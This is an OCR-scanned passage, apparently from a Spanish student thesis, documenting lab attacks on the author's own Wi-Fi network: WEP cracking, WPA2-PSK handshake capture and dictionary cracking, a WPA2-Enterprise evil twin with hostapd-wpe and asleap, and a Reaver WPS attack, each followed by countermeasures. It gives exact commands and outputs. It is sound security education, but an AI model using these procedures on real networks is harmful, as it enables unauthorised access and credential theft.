BSSID STATION PWR  Rate Lost Frames Probe
8:94 35:77 1C:65:9D:37:B1:7F -56 - 28 252

Figura 5.8: Captura de la autenticacién

Trying directed probe requests...

8:94:F6:D4:35:77 - channel: 6 - 'TFG UIB'

Ping (min/avg/max): 1.145ms/2.214ms/3.938ms Power: -32.03
30/30: 100%

Figura 5.9: Test de inyeccion de tramas

obtener una gran cantidad de IV para poder predecir la clave que descifra los paquetes

y conseguir la clave de la red. Lanzamos el ataque de reinyeccién de paquetes (ver

apartado 4.4.7), como se puede ver en la figura 5.10, utilizando el siguiente comando:
aireplay-ng -3 -b E8:94:F6:D4:35:77 wlan0mon

01:09:26 Waiting for beacon frame (BSSID: E8:94:F6:D04:35:77) on channel 6
Saving ARP requests in replay arp-0605-010926.cap

You should also start airodump-ng to capture replies.

Read 3103 packets (got 35 ARP requests and 252 ACKs), sent 36 packets...(510 pps
Read 3337 packets (got 82 ARP requests and 301 ACKs), sent 85 packets...(498 pps
Read 3564 packets (got 127 ARP requests and 346 ACKs), sent 135 packets...(498
Read 3763 packets (got 176 ARP requests and 398 ACKs), sent 185 packets...(498 p
Read 3974 packets (got 221 ARP requests and 448 ACKs), sent 236 packets...(

Read 4174 packets (got 258 ARP requests and 496 ACKs), sent 286 packets...(

Figura 5.10: Reinyeccién de paquetes

Sila reinyeccion ha ido correctamente, se generara gran trafico de datos en la red
inaldmbrica pudiendo saturar en algunos casos al AP. En la ventana de airodump-ng,
donde estd capturando el trafico, se puede observar como el pardmentro #/s obtiene un
valor alto de paquetes por segundo y que en el campo #data aumenta a gran velocidad,
como se puede ver en la figura 5.11.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E8:94:F6:D4:35:77 0 100 14297 8884 64 6 1le. WEP WEP SKA TFG_UIB

BSSID STATION PWR Rate Lost Frames Probe

=
E8:94:F6:D4:35:77 1C:65:9

8:04:F6:D4:35:77 00:11:22:33:44:55 0 0 - le 9832 127905
: D:37:B

1:7F -56__\lle-lle 15 17626

Figura 5.11: Aumento de data en airdoump-ng
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En el momento en el que estdn aumentando los IV del AP, paralelamente a la
reinyeccién de paquetes, se inicializa la herramienta aircrack-ng con el fin de obtener la
clave. Esta herramienta emplea el ataque Pyshkin, Tews, Weinmann (PTW) para obtener
la clave del fichero de la captura que estd creando airodump-ng. El funcionamiento del
algoritmo PTW es el siguiente:

* Esnecesario obtener una cantidad minima de IV que dependera de la longitud
de la clave.

¢ Los IV se pueden obtener de paquetes ARP, ya sean propios de la comunicacioén,
o reinyectados por el atacante.

¢ Si con paquetes ARP no resulta suficiente, se usarian paquetes IP.

* Sino se obtiene la clave, s6lo queda recolectar mds IV hasta que el algoritmo
obtenga la clave.

Para lanzar el ataque PTW se ha utilizado el siguiente comando [22]:

aircrack-ng captura_wep-01.cap

Hay que tener en cuenta que al realizar la captura del trafico, la herramienta
airodump-ng anadie al nombre de la captura -XX, donde XX es el nimero de capturas
que hay en esa ubicacion, -01 para la primera, -02 para la segunda y asi sucesivamente.

En la figura 5.12 se puede ver c6mo se ha lanzado el ataque PTW. Este ataque se
repite automdéticamente cada 5000 IV capturados e intenta obtener la clave. En este
intento con 15.157 IV, el algoritmo todavia no es capaz de descifrar la clave e informa
que volverd a intentarlo con 20.000.

:~# aircrack-ng cap-01.cap

Opening cap-01.cap
Read 434555 packets.

# BSSID ESSID Encryption

1 E8:94:F6:D4:35:77 TFG_UIB WEP (3779 IVs)

Choosing first network as target.

Opening cap-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 3779 ivs.

Aircrack-ng 1.2 rc4

[00:05:35] Tested 139537 keys (got 15157 IVs)

B depth byte(vote)

0 34/ 44 FC(17664) 31(17408) 38(17408) 70(17408) 86(17408) 92(17408)
1 17/ 1 7F(18688) A7(18432) C5(18432) 03(18176) 13(18176) 19(18176)
2 7/ 19  F1(19712) D1(19456) 3A(19200) 8F(19200) D5(18944) 11(18688)
3 8/ 3 E2(19456) A9(18944) 4D(18688) 4E(18688) 0D(18432) 33(18432)
4 5/ 8 B6(20736) 19(19968) 57(19712) 3B(18944) 8C(18688) E9(18688)

Failed. Next try with 20000 IVs.

Figura 5.12: Inicializacién de aircrack y fallo al obtener la clave
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En pocos minutos y con més de 45.000 IV ha sido capaz de obtener la clave, como
se puede ver en la figura 5.13, tanto en hexadecimal como en ASCII (ASCII).

Aircrack-ng 1.2 rc4

[00:11:27] Tested 12339 keys (got 45234 IVs)

byte(vote)

54(65280) E2(57856) 0C(54528) C7(54016) 7A(53760) 79(53504) AE(53248)
46(56832) 4D(55296) 67(55040) 37(54016) 66(53760) 96(53248) 8D(52992)
47(55552) E3(55040) 7F(54784) 9A(54528) A4(54272) BB(54016) 36(52224)
75(60416) 15(55040) BE(54784) 84(53504) 0C(52992) 65(52992) 1C(52480)
69(66816) 59(53248) C8(52736) D7(52736) 57(52224) EV(51968) FO(51968)
62(60672) 09(54528) 2E(54272) 4A(54016) 70(52736) 37(52480) 8F(52480)
32(59392) 71(56064) 49(55040) A7(54016) 5B(52992) DO(52992) BC(52736)
36(57088) D8(55552) CD(54784) D4(54016) EF(52736) 69(52480) B3(52480)
31(55552) BE(52992) 71(52480) 84(52224) CF(52224) 4C(51968) 57(51968)
36(61952) 9E(55808) A7(55040) 18(53504) 24(53504) 4F(52992) 66(52992)
OF(56576) 7D(56576) 5B(53760) FD(53760) BF(52736) 72(52224) 11(51712)
69(56064) 91(56064) 75(55040) 1E(54784) FE(53504) 40(52992) 9A(52736)
37(58212) 11(52360) D7(51908) AB(51692) EF(51692) CD(51616) 3A(51544)

0 ~1 O UM B Wk =

1
il
1
1
1
1
1
i
1
1
1
1
1

KEY FOUND! [ 54:46:47:75:69:62:32:30:31:36:30:31:37 ] (ASCII: TFGuib2016017 )
Decrypted correctly: 100%

Figura 5.13: Captura de la clave con aircrack

Contramedidas

El uso de redes WEP es desaconsejado y estd catalogado como obsoleto. Este protocolo
no ofrece garantias en la integridad, autenticacién y privacidad. El algoritmo de cifrado
es muy débil y la forma de obtener la contrasefia por estadistica de obtencién de IV
hacen que este protocolo sea inseguro.

No importa si hay cliente o no en la red y qué ataque pueden usuar, la contramedida
para solventar las vulnerabilidades y los posibles ataques a una red WEP, al igual que
una red abierta, es no emplear este protocolo.

5.3 Ataques WPA/WPA2

Los protocolos WPA y WPA2 no sufren hasta el momento graves vulnerabilidades que
se hayan destacado. Estos protocolos son considerados seguros porque se basan en
una fuerte autenticacién. A la hora de autenticarse, el AP y el cliente negocian una
politica de seguridad a seguir durante la conexion. En la fase de creacién e intercambio
de claves entre el AP y el cliente emplean la PSK junto al SSID para crear la MSK (ver
apartado 2.2.3). A partir de la MSK se obtiene la clave PMK, siendo la PMK una derivada
de la MSK si se trata de una red empresarial, o la misma MSK en el caso de un entorno
con autenticacién PSK.

Con la PMK generada, se ejecuta el proceso 4-way-Handshake para crear la clave de
cifrado PTK (ver apartado 2.2.3). Un atacante que desee vulnerar una red PSK intentara
capturar el 4-way-Handshake, junto al SSID y las direcciones MAC del AP y del cliente
para reproducir el proceso de generacién de claves hasta obtener la clave especifica de
ese proceso.
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Si se emplea la autenticacion PSK, puede ser victima de ataques por fuerza bruta.
De este tipo de ataques se derivan varios tipos de implementaciones que, si la PSK
es débil, pueden llegar a obtener la contrasefia de la red, como seria un ataque por
diccionario. El ataque prueba distintas PSK dentro del diccionario hasta dar con la PTK
generada junto al 4-way-Handshake. Este proceso requiere un coste computacional
alto dependiendo de lo complicada que sea la PSK y si ésta aparece en un diccionario o
no.

Es interesante poder tener una estimacién sobre lo que se podria tardar en obtener
una clave dependiendo del niimero de caracteres y de la cantidad de claves que se
pueden probar por segundo. Para ello existen calculadoras de ataques por fuerza bruta
que nos pueden ofrecer esta informacién'. De este modo, se puede saber si es viable
0 no un ataque por fuerza bruta. Normalmente, si la PSK es de longitud grande, un
ataque por diccionario puede ser més efectivo siempre y cuando la PSK se encuentre
en él, ya que por fuerza bruta podria tardar mucho tiempo.

Otra forma de acelerar el proceso es emplear los procesadores de la tarjeta gréfica
con el fin de que también ayuden a calcular las posibles claves.

5.3.1 WPA/WPA2-PSK
Introduccion

En este apartado se puede ver como realizar un ataque a una red WPA/WPA2 con
autenticaciéon PSK empleando varias heramientas que hacen uso de un diccionario,
donde una de ellas emplea la tarjeta grafica para acelerar el proceso.

Escenario

El escenario 1 también aparece en este ataque. En este caso, el protocolo de seguridad
es WPA2, con cifrado CCMP y autenticacién PSK. La red tiene un cliente conectado.

El atacante tiene la tarjeta de red inaldmbrica en modo monifory usa un diccionario
para realizar un ataque por diccionario, donde espera encontrar la contrasefa de la red.
Esta contrasefia es: 65949955.

Ejecucién del ataque

Como parte comun a las tres siguientes herramientas, Aircrack, Cowpatty y Pyrit, se
realiza este apartado que abarca un conjunto de ataques previos a las tres herramientas.

La tarjeta de red estd en modo monitor (ver apartado 4.4.1), se captura el tréfico
(ver apartado 4.4.3) de la red mediante airodump-ng como se puede ver en la figura
5.14, donde se observa que hay un cliente conectado.

Ahora, el objetivo es obtener el handshake entre un cliente y el AP. Es posible
obtenerlo de forma pasiva, esperando a que un cliente se conecte y con airodump-ng
obtener la captura, o también, se puede usar una alternativa activa. La forma activa
seria obligar al cliente a autenticarse otra vez. Para conseguir eso basta con un ataque
de desautenticacidn al cliente (ver apartado 4.4.8). En la figura 5.15 se puede ver c6mo
se ha optado por el ataque de desautenticacién para obtener el handshake. Como

Ipor ejemplo: http://lastbit.com/pswcalc.asp
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BSSID PWR RXQ Beacons #Data, #/s CH MB |ENC |CIPHER AUTH|ESSID

8:94:F6:D4:35:77 -35 100 66 22 2 6 1le.|WPA2 |CCMP |PSK |TFG UIB

BSSID STATION PWR  Rate Lost Frames Probe

8:94:F6:D4:35:77 1C:65:9D:37:B1:7F | -52 8- le 0 2

Figura 5.14: Captura del tréfico de una red WPA2 con autenticacién PSK

aparece en la figura 5.16, el cliente se ha vuelto a conectar a la red, consiguiendo asi el
handshake en la captura de airodump-ng.

:~# aireplay-ng -0 1 -a E8:94:F6:D4:35:77 -c 1C:65:9D:37:B1:7F wlanBmon

8:41:36 Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
8:41:36 Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1:7F] [25]6@ ACKs

Figura 5.15: Desautenticacion de un cliente en WPA2

CH 6 1[ Elapsed: 3 mins ][ 2017-06-09 18:41 ]1[|WPA handshake: E8:94:F6:D4:35:77

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

8:94:F6:D04:35:77 -36 100 856 283 3 6 1le. WPA2 CCMP PSK TFG UIB

BSSID STATION PWR  Rate Lost Frames Probe

8:94:F6:D4:35:77 1C:65:9D:37:B1:7F -52 le- 1e 121 179

Figura 5.16: Captura del handshake

Con el handshake capturado se puede iniciar una de las siguientes herramientas
para el descifrado de la contrasefia. Estas herramientas usardn un diccionario con el fin
de hallar alli la PSK. El éxito del ataque radicard en el diccionario de claves a utilizar. Hay
infinidad de diccionarios con un volumen de megas, incluso algunos alcanzan varios
gigas y teras. También existen diccionarios especificos para cada compaiiia proveedora
de Internet, ya que emplean algoritmos para generar las claves de los AP segtin su
BSSID y otros datos.

En el momento que escogemos un diccionario concreto, hay que tener en cuenta
que una PSK tendra entre 8 y 63 caracteres. Por eso, con el siguiente comando de Linux,
y la herramienta pw-inspector, se puede indicar que no aparezcan claves repetidas y
limitar su longitud de 8 a 63 caracteres:

cat dic-TFG-UIB.txt | sort | uniq | pw-inspector -m 8 -M 63 >TFG_UIB.txt

El comando cat sirve para concatenar lo que haya en el archivo indicado, que en
este caso, es el diccionario con el nombre dic-TFG-UIB.xt. A su vez, también lo ordena,
obtiene sélo claves tnicas y con ayuda de pw-inspector selecciona las contrasefias
comprendidas entre 8 y 63 caracteres. Todo esto es concatenado en el archivo indicado
al final del comando, en este caso en TFG_UIB.txt. De este modo, se asegura de s6lo
comprobar posibles claves tinicas y que estén dentro del rango de caracteres permitidos
para ser una clave valida.
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Ejecucién de Aircrack

En este caso, la herramienta aircrack-ng [22], junto a un diccionario y la captura per-
tinente con el handshake, puede obtener la PSK del AP. En la figura 5.17 aparece el
siguiente comando que es necesario para ejecutar el ataque de descubrimiento de la
clave:

aircrack-ng -w TFG_UIB.txt red-wpa-01.cap

Seguido de -w estd el nombre del diccionario a utilizar y la captura que tiene el
handshake. El diccionario tiene sélo cuatro lineas y la contrasena se encuentra en la
tercera.

:~# aircrack-ng -w TFG UIB.txt red-wpa-01l.cap
Opening red-wpa-01.cap
Read 1413 packets.

# BSSID ESSID Encryption

1 EB:94:F6:D4:35:77 TFG UIB WPA (1 handshake)

Choosing first network as target.

Opening red-wpa-01.cap
Reading packets, please wait...

Figura 5.17: Ejecucion de aircrack-ng para obtener la clave de la red

El resultado de la obtencién de la clave mediante la herramienta airacrack-ng se
puede ver en la figura 5.18. El ataque ha sido todo un éxito ya que la clave residia en el
diccionario utilizado. Cabe sefialar que si el diccionario es muy extenso y la buisqueda
se alarga, el tiempo del resultado del ataque puede aumentar considerablemente. En
este caso particular, el diccionario es pequefio y en menos de un segundo a descubierto
la contrasefia, pero si el diccionario es de megas o de gigas de tamafio, puede llevar un
tiempo considerable.
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Aircrack-ng 1.2 rcd

[00:00:00] 4/3 keys tested (659.30 k/s)

Time left: 8 seconds 133.33%
KEY FOUND!' [| 65940055 ]

Master Key ; 9A 71 4F 48 E5 5E 62 8
AB 5D 7F 9A B6 B5 CE

Transient Key : EF 46 B6 3D 1D 96 AE
AC 91 74 A5 DA 90
) A4 01 9B 30 CB
iy 55 A2 9F 81 D@

EAPOL HMAC : F4 88 FB 82 9B A9 96 30 C7

Figura 5.18: Descubrimiento de la clave mediante aircrack-ng

Ejecucion de Cowpatty

Una posible alternativa a aircrack-ng es la ejecucion del ataque Cowpatty. Esta he-
rramienta es efectiva para autenticaciones PSK y con ataque de diccionario [26]. Su
uso es muy sencillo y parecido a airacrack-ng. Partiendo de que ya se ha capturado el
handshakey se tiene un diccionario donde buscar la clave, con el siguiente comando
es posible obtener la PSK:

cowpatty -f TFG_UIB.txt -r red-wpa-01.cap -s TFG_UIB

Seguido de -f esté el diccionario que se usard en el ataque, seguido de -r estd el
nombre del archivo que contiene la captura del handshakey por Gltimo, seguido de -s
el nombre de la red.

La ejecucion del ataque de Cowpatty y su resultado de ataque por diccionario se
pueden ver en la figura 5.19. El ataque ha sido un éxito obteniendo la PSK. Este tipo
de ataque suele obtener mejores ntimero en tiempo que el ataque de aircrack-ng. El
diccionario tiene sélo cuatro lineas y la contrasefia se encuentra en la tercera linea.

:~# cowpatty -f TFG UIB.txt -r red-wpa-0l.cap -s TFG _UIB
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com=

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

The PSK is "65949955".

4 passphrases tested in 0.01 seconds: 353.95 passphrases/second

Figura 5.19: Ataque con la herramienta cowpatty
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Ejecucién de Pyrit

La herramienta Pyrit [27] permite crear una base de datos de PMK para, posteriormente,
encontrar la PSK. Esta herramienta permite el procesamiento paralelo con tarjetas
graficas que lo soporten 2. El siguiente comando ejecuta la herramienta Pyrit:

pyrit -i TFG_UIB.txt -r red-wpa-01.cap attack_passthrough

Donde seguido de -i se encuentra el nombre del diccionario, de -r el nombre de la
captura que tiene el handshakey, por Gltimo, el tipo de ataque de pyrit que, en este
caso, es attack_passthrough para que busque la contrasefia, como se puede ver en la
figura 5.20.

:~# pyrit -i TFG UIB.txt -r red-wpa-81l.cap attack passthrough
Pyrit 8.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
his code is distributed under the GNU General Public License w3+

Parsing file 'red-wpa-0l.cap' (1/1)...
Parsed 490 packets (490 802.11-packets), got 1 AP(s)

Picked AccessPoint e8:94:16:d4:35:77 ('TFG UIB') automatically.
ried 7 PMKs so far; 42 PMKs per second.

he password is '65949955'.

Figura 5.20: Ataque con la herramienta pyrit

Si se tuviese una tarjeta grafica que permitiese el procesamiento paralelo, el tiempo
de la biisqueda seria mucho menor, ya que el poder de procesamiento de las tarjetas
graficas es comparable a miles de niicleos de un procesador [43].

Contramedidas

WPA no tiene grandes debilidades como es el caso de WEP, pero tiene un cifrado més
débil que su predecesor WPA2. Asi, la solucion al débil cifrado de WPA es pasarse a
WPA2. Por otro lado, la posible vulnerabilidad a ambos protocolos es el ataque por
fuerza bruta o por diccionario [44]. Ante estos ataques, la clave PSK tiene que tener una
longitud considerable, cuanto mds mejor y que ademds no sea una clave facilmente
deducible para que pueda estar en un diccionario, aunque esto es complicado de saber.
También, como contramedida, hay que cambiar la contrasefia por defecto que pone
la operadora en el AP, porque estas contrasefias se obtienen de algoritmos y con un
diccionario de la compaiiia seria rdpido encontrar la clave.

5.3.2 WPA/WPA2-EAP
Introduccion

Una red WPA/WPA2 con autenticaciéon EAP, o MGT segun airodump-ng, no es vulne-
rable al mismo tipo de ataques que con autenticacién PSK. La obtencién de la PSK es

2 Un ejemplo seria las tarjetas graficas de Nvidia CUDA. http://www.nvidia.es/object/cuda-parallel-
computing-es.html
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inviable ya que s6lo serviria para una tinica sesiéon de un cliente. Ademds, el obtener la
PSK no compromete la contrasefia del usuario.

Una red con autenticacién EAP es conocida por WPA/WPA2- Enterprise, ya que es el
modo de autenticacién empleada en entornos profesionales como redes de empresas
o universidades. En este tipo de redes, el AP no autentica al cliente utilizando una clave
precompartida, sino que hay un servidor que se dedica a autenticar a los clientes como
es el AS, el cual comprueba que las credenciales de usuario y contrasefia coinciden con
alguno de sus registros. La creacién de este tipo de redes requieren una infraestructura
mads compleja por el hecho de necesitar un servidor donde autenticarse, normalmente
un servidor RADIUS (ver apartado 2.2.5).

El ataque que se va aimplementar se basa en crear un Evil Twin (ver apartado 4.4.9),
donde dialoga con un servidor RADIUS para obtener las credenciales con el protocolo
Microsoft Challenge-Handshake Authentication Protocol version 2 (MS-CHAPV2) que
utiliza el método challenge-response [45]. En este método, el servidor envia el texto
challenge de 16 bytes para que el cliente genere una respuesta de 48 bytes con las
credenciales. Por tltimo, el servidor recibe la respuesta que seré verificada para evaluar
sila respuesta recibida es la correcta [46].

Escenario

En este caso, se utiliza el escenario 2 para el ataque. El protocolo de seguridad es WPA2,
con cifrado CCMP y autenticaciéon MGT o AES, concretamente EAP-PEAP. El servidor
RADIUS emplea el protocolo MS-CHAPV2.

El atacante posee la tarjeta de red inaldmbrica en modo monitor y usa un dicciona-
rio para realizar un ataque por diccionario. La contrasena es: TFG_uib_2017.

Ejecucion del ataque

Para poner en préctica el ataque a una red con EAP, se necesita crear un AP, en este
caso serd un Evil Twin con un servidor RADIUS.

Como la creacién del AP y el servidor puede ser bastante tediosa, existe la herramien-
ta hostapd-wpe [30] que puede ser instalada para facilitar el ataque. Esta herramienta
es un parche de hostapdy reemplaza a la antigua FreeRADIUS-WPE. La herramienta
hostapd-wpe no viene instalada de base en Kali Linux, pero es posible instalarla con el
siguiente comando:

apt-get install hostapd-wpe

Una vez instalada, hay que modificar el archivo de configuracién para poner los
valores deseados en el Evil Twin que se creard. Este archivo se encuentra en la ruta que
sigue a continuacion, y se abre con un editor de texto llamado leafpad:

leafpad letc/hostapd-wpelhostapd-wpe.conf

Enla figura 5.21 se puede apreciar el archivo de configuracion.
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hostapd-wpe.conf - o x

Archivo Editar Buscar Opciones Ayuda
W Configuration file for hostapd-wpe

# Interface - Probably wlan® for 802.11, eth® for wired
interface=wlan@

# May have to change these depending on build location
eap user file=/etc/hostapd-wpe/hostapd-wpe.eap user

ca cert=/etc/hostapd-wpe/certs/ca.pem

server cert=/etc/hostapd-wpe/certs/server.pem

private key=/etc/hostapd-wpe/certs/server.key
private key passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh

# 802.11 Options
ssid=TFG UIB
hw_mode=g
channel=1

Figura 5.21: Archivo de configuracion de hostapd-wpe

Una vez el archivo de configuracién ha sido rellenado, basta con lanzar el siguiente
comando para iniciar el Evil Twin con WPA2- Enterprise:

hostapd-wpe letc/hostapd-wpe/hostapd-wpe.conf

Tras este procedimiento, ya estd el AP funcionando como se puede ver en la figura
5.22. Se puede comprobar que verdaderamente estd en funcionamiento haciendo una
captura del trafico. Como se ve en la figura 5.23, aparece una red con ESSID TFG_UIB y
con autenticacion MGT. Para la creacion del AP no es necesario que la tarjeta de red
esté en modo monitor, pero para la captura del tréfico si.

:~# hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
Configuration file: fetc/hostapd-wpe/hostapd-wpe.conf

Using interface wlan®mon with hwaddr f4:72:6d:44:7d:3b and ssid "TFG UIB"
wlanBmon: interface state UNINITIALIZED->ENABLED
wlan@mon: AP-ENABLED

Figura 5.22: Evil Twin activado para recibir alguna autenticacién

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER|AUTH ESSID

00:16:0A:14:7E:F2 -38 100 229 0 @ 1 54e WPA2 CCMP |MGT |TFG UIB

Figura 5.23: Captura con la autenticacién MGT

En el momento que un cliente se intente conectar a la red e inserte sus credenciales,
hostapd-wpe capturard la informacién e internamente hard la funcién de servidor
RADIUS con el fin de obtener el nombre de usuario, el challenge y la response del
protocolo MS-CHAPv2, como se ve en la figura 5.24 [16].
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mschapv2: Tue Jun 20 02:00:39 2017
username: uib

challenge: 56:1a:ea:e7:c0:0a:27:23
response: 8:77:3c:41:47:90:15:a3:b7:0d:83:ef:b3:e5:fd:59:ec:d8:ad:9:69:78:93:33
jtr NETNTLM: uib:$NETNTLM$561aeae7c00a2T23$38773c41479075a3b70d83eTb3e57d59ecd8adf969789333

Figura 5.24: Captura de hostapd-wpe obteniendo la informacién

Para que esto ocurra, el cliente debe conectarse a la red ignorando el aviso de que
no se estd usando ningtn certificado en esa red y no usar ningun certificado, como en
la figura 5.25.

0 No se ha elegido ningln certificado CA

Mo usar un certificado de Certificate Authority (CA) puede dar lugar a conexiones
inseguras a redes inalambricas promiscuas. ;Quiere elegir un certificado Certificate
Authority?

No avisarme de nuevo

Ignorar Elija un certificado CA:

Figura 5.25: Aviso sobre CA

La herramienta hostapd-wpe guarda un log de todos los intentos de conexién
con el nombre de usuario, el challengey la response. Con la herramienta asleap [31] y
esta informacién se puede realizar un ataque de diccionario offline. El comando es el
siguiente:

asleap -C 56:1a:ea:e7:c0:0a:2f:23 .R 38:77:33¢:41:47:90:f5:a3:b7:0d:83:ef:b3:e5:fd:59:ec:
d8:ad:f9:69:78:93:33 -W dic-EAP1xt

Donde seguido de -C vienen los bytes del challenge, después de -Rlos de la response
y, por ultimo, seguido de -W el nombre del diccionario que se va a usar.

Se puede ver en la figura 5.26 el resultado del ataque por diccionario, donde se ha
encontrado la contrasefia del usuario.

:~# asleap -C 56:la:ea:e7:c0:0a:2f:23 -R 38:77:3c¢:41:47:90:f5:a23:b7:0d:83:ef:b3:e5:fd:59:ec:d8:ad|

:79:69:78:93:33 -W dic-EAP.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>

Using wordlist mode with "dic-EAP.txt".
hash bytes: c7b8
NT hash: 1bb104441476a740d77bdc62fbOdc7b8
password: TFG_uib_2017

Figura 5.26: Obtencidon de la contrasefia de las credenciales del cliente

Contramedidas

Uno de los tipos de redes mas seguro es WPA2 con autenticaciéon EAP. Para que asi sea,
hay que emplear certificados digitales de la CA para la conexién del cliente.

Al conectarse a un AP con un certificado no vélido, lo normal es que salte una
advertencia avisando al usuario, nunca se deben ignorar esas advertencias.

Hay que tener en cuenta los tres métodos mds relevantes y usar el més conveniente:
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e EAP-MD5: método que no se debe implementar. Carece de seguridad por las
numerosas vulnerabilidades que tiene.

e EAP-TLS: método donde el cliente y el servidor usan certificados digitales en
el momento de la autenticacién. Es el mds seguro y a la vez, el més tedioso de
implementar.

¢ EAP-PEAP con autenticacién MS-CHAPv2: método més utilizado por su relaciéon
seguridad y complejidad de implementacién. Con un certificado digital en el
servidor, el cliente realiza la autenticacién de forma cifrada.

5.4 Ataques WPS

El mecanismo de seguridad WPS fue introducido en 2006 para ayudar en la configura-
ci6én de redes inaldmbricas. La vulnerabilidad al método de intercambio de credenciales
usando un cédigo PIN en WPS fue descubierta por Stefan Viehbéck y Craig Heffner en
2011. La vulnerabilidad consiste en realizar un ataque por fuerza bruta para averiguar
el PIN. Este ataque se le conoce como Reaver [28].

Escenario

La implementacién de este ataque se ha llevado a cabo en el escenario 1. La red con el
ESSID TFG_UIB seré la victima del ataque. La configuracién de la red serd irrelevante
siempre y cuando tenga WPS activado con PIN. La clave que se debera obtener es:
65949955. La tarjeta de red del atacante estd en modo monitor.

Ejecucién del ataque

En este apartado, el atacante intentard obtener la clave de acceso ala WLAN TFG_UIB
aplicando un ataque por fuerza bruta al protocolo de seguridad WPS. En este proceso
no serd necesario tener ningtn cliente conectado.

El primer paso serd realizar una captura del trafico (ver apartado 4.4.3). Luego, hay
que confirmar que el AP tiene el WPS activado. Empleando Wireshark [25], se puede
buscar la victima y confirmar que esta activado si aparece el apartado WPS [14]. Esta
informacién aparece en las tramas beacon que manda en modo broadcast el AP. Si
aparece el Tag WPS es que estd activado. En la figura 5.27 se puede ver como si estd
activado.
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e b s mm e e ey e s et s s e mts 4 mme g s sy 1 w4 et
657 29.065505642 Tp-LinkT_d4:35:77 Broadcast 802.11 242 Beacon frame, SN=1000, FN=08, Flags=..

173A 78 750044300 Arcardwan 28 A a4 Rraardrast A2 11 288 Raarnn frama SM-1AA1  FH-A  Flane-

» Tag: DS Parameter set: Current Channel: &
p Tag: Traffic Indication map (TIM): DTIM 0 of O hitmap
» Tag: ERP Information
» Tag: RSN Information
» Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec]
» Tag: HT capabilities (862.11n D1.10)
» Tag: HT Information (862.11n D1.18)
» Tag: Vendor Specific: Microsof: WMM/WME: Parameter Element
» Tag: Vendor Specific: AtherosC: Advanced Capability
Tag Number: vendor Specific (221)
Tag length: 38
OUI: 60-50-f2
vendor Specific OUI Type: 4
Type: WPS (0x04)
version: 6x10
« Wifi Protected Setup State: Configured (0x62)
Data Element Type: Wifi Protected Setup State (0x1044)
pata Element Length: 1
wifi Protected Setup State: configured (ox02)
vendor Extension

-

Figura 5.27: Visualizacién de WPS activado usando Wireshark

Cuando ya se ha confirmado la existencia del WPS activado, se realizard el ataque
Reaver de fuerza bruta con la herramienta Reaver. El comando a ejecutar es el siguiente:

reaver -i wlanOmon -b E8:94:F6:D4:35:77 -¢ 6 -vv

Donde con la opcién -iindica la interfaz que se usa para realizar el ataque, seguido
de -b indica la BSSID que sufrird el ataque, seguido de -c indica el canal en el que
se encuentra la red e indicando -vv se consigue que muestre més informacion en el
terminal al ejecutar el ataque.

En la figura 5.28 se puede visualizar la ejecuci6én de la herramienta Reaver, donde
en la dltima linea se puede ver que el ataque ha sido detenido. En este caso, el AP
objetivo no es vulnerable al ataque de PIN de WPS, ya que limita el nimero de intentos
de autenticacion.

Figura 5.28: Visualizacion del ataque Reaver

Contramedidas

El WPS fue pensado para agilizar y facilitar las conexiones y configuraciones de las
redes WPA y WPA2. Al tener WPS activado, la fuerte seguridad propiciada por WPA o
incluso WPA2 no sirve en absoluto.
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Para los ataques a WPS hay dos contramedidas posibles. La primera, es que el AP
tenga el software preparado para detectar intentos fallidos de autenticacion y realice
alguna medida para bloquear los préximos intentos. La otra contramedida es desacti-
varlo, ya que WPS no aporta seguridad adicional.

5.5 Anadlisis general de seguridad

Como analisis de las distintas contramedidas de los ataques realizados en los distintos
protocolos de seguridad, la red con seguridad WPA2 es la recomendada, con PSK para
las redes SOHO y con EAP para las redes empresariales. En el caso de una red WPA2-
EAP, el uso de certificados serd crucial para la seguridad de la red.

Por otra parte, el filtrado MAC y el SSID oculto, no incrementan la seguridad de la
red, s6lo son una capa de seguridad adicional que resulta ineficaz. Por otro lado, WPS
no aumenta la seguridad, més bien lo contrario, abre nuevas posibilidades de ataque y
s6lo es posible su uso en redes WPA y WPA2.

En la tabla 5.1, se puede ver un resumen de los tipos de seguridad con el protocolo
de seguridad, el tipo de cifrado de datos, el nivel de seguridad que ofrece y la situaciéon
actual del uso de ese tipo de seguridad Wi-Fi. El uso de redes OPN y WEP se desaconseja,
ya que OPN no tiene ningtin tipo de seguridad y el tipo de seguridad de la red WEP es
inseguro.

Por otro lado, estan las redes WPA y WPA2. Una red WPA, con autenticacién PSK,
puede ser segura dependiendo del tipo de clave utilizada, pero el algoritmo de cifrado,
RC4, es débil. En cambio, sila red es WPA2, con autenticacion PSK, tiene el algoritmo
de cifrado AES que es mds robusto que RC4. Por otra parte, si la autenticaciéon en
una red es EAP, se recomienda el uso de WPA2 por el tema de cifrado comentado
anteriormente. Ademds, en caso de autenticaciéon EAP, el nivel de seguridad dependera
de la configuracion de la red con el uso de certificados de forma correcta.

Seguridad Wi-Fi | Protocolo | Cifrado Nivel de seguridad Uso actual
OPN - - Ninguno Desaconsejado
WEP WEP RC4 Inseguro Desaconsejado
WPA-PSK TKIP RC4 Segtin la fortaleza Desaconsejado
de la clave
WPA2-PSK CCMP AES Segun la fortaleza Recomendado
de la clave
WPA-EAP TKIP RC4 Segun la configuracién | Desaconsejado

de los certificados
y correcto uso

WPA2-EAP CCMP AES Segun la configuraciéon | Recomendado
de los certificados
y correcto uso

Tabla 5.1: Resumen de los tipos de seguridad Wi-Fi
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CAPITULO

CONCLUSIONES

En una red inaldmbrica la configuracién de seguridad adquiere gran importancia, ya
que la tecnologia inaldmbrica implica que cualquiera que se encuentre dentro del
rango de cobertura del AP puede escuchar la informacién. Una correcta configuracion
de seguridad es de crucial importancia, debido a que la informacién que transcurre en
